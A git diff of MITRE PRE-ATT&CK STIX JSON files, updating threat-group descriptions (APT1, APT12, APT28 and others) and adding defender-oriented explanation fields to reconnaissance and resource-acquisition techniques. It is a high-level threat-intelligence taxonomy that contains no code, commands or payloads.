@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e0ea6da5-1a10-457e-9261-aaf3846351c7",
+    "id": "bundle--512611c0-7792-47e6-a90d-78598898bf1b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:51.643Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Night Dragon",
             "description": "Night Dragon is a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)",
             "aliases": [
diff --git a/pre-attack/intrusion-set/intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662.json b/pre-attack/intrusion-set/intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662.json
index 7158e6709b..9076ef93bf 100644
--- a/pre-attack/intrusion-set/intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662.json
+++ b/pre-attack/intrusion-set/intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9e6c90c0-f238-4042-9f34-03e1a81f23cb",
+    "id": "bundle--47fa7998-07a7-4cf2-9c82-e9a35e635c06",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:47.955Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT1",
             "description": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People\u2019s Liberation Army (PLA) General Staff Department\u2019s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)",
             "aliases": [
diff --git a/pre-attack/intrusion-set/intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063.json b/pre-attack/intrusion-set/intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063.json
index 0b2b7e770e..483aa10705 100644
--- a/pre-attack/intrusion-set/intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063.json
+++ b/pre-attack/intrusion-set/intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b4ba93bc-3417-4948-963f-63087d902970",
+    "id": "bundle--87fc2ab7-9d61-4b28-b95e-9e745a556694",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:46.390Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Cleaver",
             "description": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)",
             "aliases": [
diff --git a/pre-attack/intrusion-set/intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c.json b/pre-attack/intrusion-set/intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c.json
index 39144f447c..87502045b0 100644
--- a/pre-attack/intrusion-set/intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c.json
+++ b/pre-attack/intrusion-set/intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3151007f-1dee-4c9b-9c9c-ed69c68007df",
+    "id": "bundle--0f5aa33e-3294-490f-8380-6d86d890e884",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:48.664Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT28",
             "description": "APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)",
             "aliases": [
diff --git a/pre-attack/intrusion-set/intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb.json b/pre-attack/intrusion-set/intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb.json
index 667f1b9148..57a9e4b310 100644
--- a/pre-attack/intrusion-set/intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb.json
+++ b/pre-attack/intrusion-set/intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--223d1df9-0ceb-4798-a873-1ef12deaa09f",
+    "id": "bundle--9a3f8fd0-50ba-4543-a649-4b8ce3a1734e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,14 +8,15 @@
             "id": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:47.537Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT12",
-            "description": "APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda) It is also known as DynCalc, IXESHE, and Numbered Panda. (Citation: Moran 2014) (Citation: Meyers Numbered Panda)",
+            "description": "APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda)",
             "aliases": [
                 "APT12",
                 "IXESHE",
                 "DynCalc",
-                "Numbered Panda"
+                "Numbered Panda",
+                "DNSCALC"
             ],
             "external_references": [
                 {
@@ -27,11 +28,6 @@
                     "source_name": "Meyers Numbered Panda",
                     "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.",
                     "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/"
-                },
-                {
-                    "source_name": "Moran 2014",
-                    "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.",
-                    "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
                 }
             ],
             "object_marking_refs": [
diff --git a/pre-attack/intrusion-set/intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70.json b/pre-attack/intrusion-set/intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70.json
index 8b922dbca2..2c5332faec 100644
--- a/pre-attack/intrusion-set/intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70.json
+++ b/pre-attack/intrusion-set/intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d95a9cee-98c1-4728-a889-c3307f295a44",
+    "id": "bundle--fc929a84-7ab5-45b1-991f-46d021ec3edc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:56.270Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT16",
             "description": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)",
             "aliases": [
diff --git a/pre-attack/marking-definition/marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168.json b/pre-attack/marking-definition/marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168.json
index 550c086f71..dba182494c 100644
--- a/pre-attack/marking-definition/marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168.json
+++ b/pre-attack/marking-definition/marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--be6ff1c4-afd0-43db-83d3-7d23b093a7b9",
+    "id": "bundle--0a3f4c61-91bc-4a91-bcfc-6efa3ba71617",
     "spec_version": "2.0",
     "objects": [
         {
diff --git a/pre-attack/pre-attack.json b/pre-attack/pre-attack.json
index 5a2323025c..8bb7065c7c 100644
--- a/pre-attack/pre-attack.json
+++ b/pre-attack/pre-attack.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8559bb2b-6383-4116-a0bf-b224d0cbd98f",
+    "id": "bundle--0a1d6109-bb37-46a1-80b7-6f70f631aca0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire OSINT data sets and information",
-            "description": "Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors.  Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors.  Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Large quantities of data exists on people, organizations and technologies whether divulged wittingly or collected as part of doing business on the Internet (unbeknownst to the user/company).  Search engine and database indexing companies continuously mine this information and make it available to anyone who queries for it.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -40,14 +40,16 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This activity is indistinguishable from legitimate business uses and easy to obtain.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Large quantities of data exists on people, organizations and technologies whether divulged wittingly or collected as part of doing business on the Internet (unbeknownst to the user/company).  Search engine and database indexing companies continuously mine this information and make it available to anyone who queries for it."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire OSINT data sets and information",
             "description": "Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
             "kill_chain_phases": [
@@ -78,9 +80,9 @@
             "id": "attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire OSINT data sets and information",
-            "description": "Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest.  Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest.  Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Possible to gather digital intelligence about a person is easily aided by social networking sites, free/for fee people search engines, and publicly available information (e.g., county databases on tickets/DUIs).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -102,16 +104,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This activity is indistinguishable from legitimate business uses and easy to obtain.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Possible to gather digital intelligence about a person is easily aided by social networking sites, free/for fee people search engines, and publicly available information (e.g., county databases on tickets/DUIs)."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--286cc500-4291-45c2-99a1-e760db176402",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire and/or use 3rd party infrastructure services",
-            "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: 3rd party services highly leveraged by legitimate services, hard to distinguish from background noise.  While an adversary can use their own infrastructure, most know this is a sure- re way to get caught. To add degrees of separation, they can buy or rent from another adversary or accomplice.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Wide range of 3rd party services for hosting, rotating, or moving C2, static data, exploits, exfiltration, etc.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -133,16 +137,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "3rd party services highly leveraged by legitimate services, hard to distinguish from background noise.  While an adversary can use their own infrastructure, most know this is a sure- re way to get caught. To add degrees of separation, they can buy or rent from another adversary or accomplice.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Wide range of 3rd party services for hosting, rotating, or moving C2, static data, exploits, exfiltration, etc."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--795c1a92-3a26-453e-b99a-6a566aa94dc6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire and/or use 3rd party infrastructure services",
-            "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Hard to differentiate from standard business operations.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Wide variety of cloud/VPS/hosting/compute/storage solutions available for adversary to acquire freely or at a low cost.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -164,16 +170,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Hard to differentiate from standard business operations.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Wide variety of cloud/VPS/hosting/compute/storage solutions available for adversary to acquire freely or at a low cost."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire and/or use 3rd party software services",
-            "description": "A wide variety of 3rd party software services  are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A wide variety of 3rd party software services  are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility over account creation for 3rd party software services.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: 3rd party services like these listed are freely available.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -199,16 +207,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility over account creation for 3rd party software services.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "3rd party services like these listed are freely available."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire and/or use 3rd party software services",
-            "description": "A wide variety of 3rd party software services  are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A wide variety of 3rd party software services  are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility over account creation for 3rd party software services.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: 3rd party services like these listed are freely available.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -230,16 +240,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility over account creation for 3rd party software services.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "3rd party services like these listed are freely available."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--e5164428-03ca-4336-a9a7-4d9ea1417e59",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire or compromise 3rd party signing certificates",
-            "description": "Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -261,16 +273,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms"
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf422ab983",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire or compromise 3rd party signing certificates",
-            "description": "Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -292,16 +306,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms"
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--b3f36317-3940-4d71-968f-e11ac1bf6a31",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Aggregate individual's digital footprint",
-            "description": "In addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email.  An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "In addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email.  An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Information readily available through searches",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -327,16 +343,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Information readily available through searches"
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--fe421ab9-c8f3-42f7-9ae1-5d6c324cc925",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze application security posture",
-            "description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyze technical scanning results to identify weaknesses in the configuration or architecture.  Many of the common tools highlight these weakness automatically (e.g., software security scanning tools or published vulnerabilities about commonly used libraries).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -362,16 +380,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Analyze technical scanning results to identify weaknesses in the configuration or architecture.  Many of the common tools highlight these weakness automatically (e.g., software security scanning tools or published vulnerabilities about commonly used libraries)."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--87775365-2081-4b6e-99bd-48a3b8f36563",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze architecture and configuration posture",
-            "description": "An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include  architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
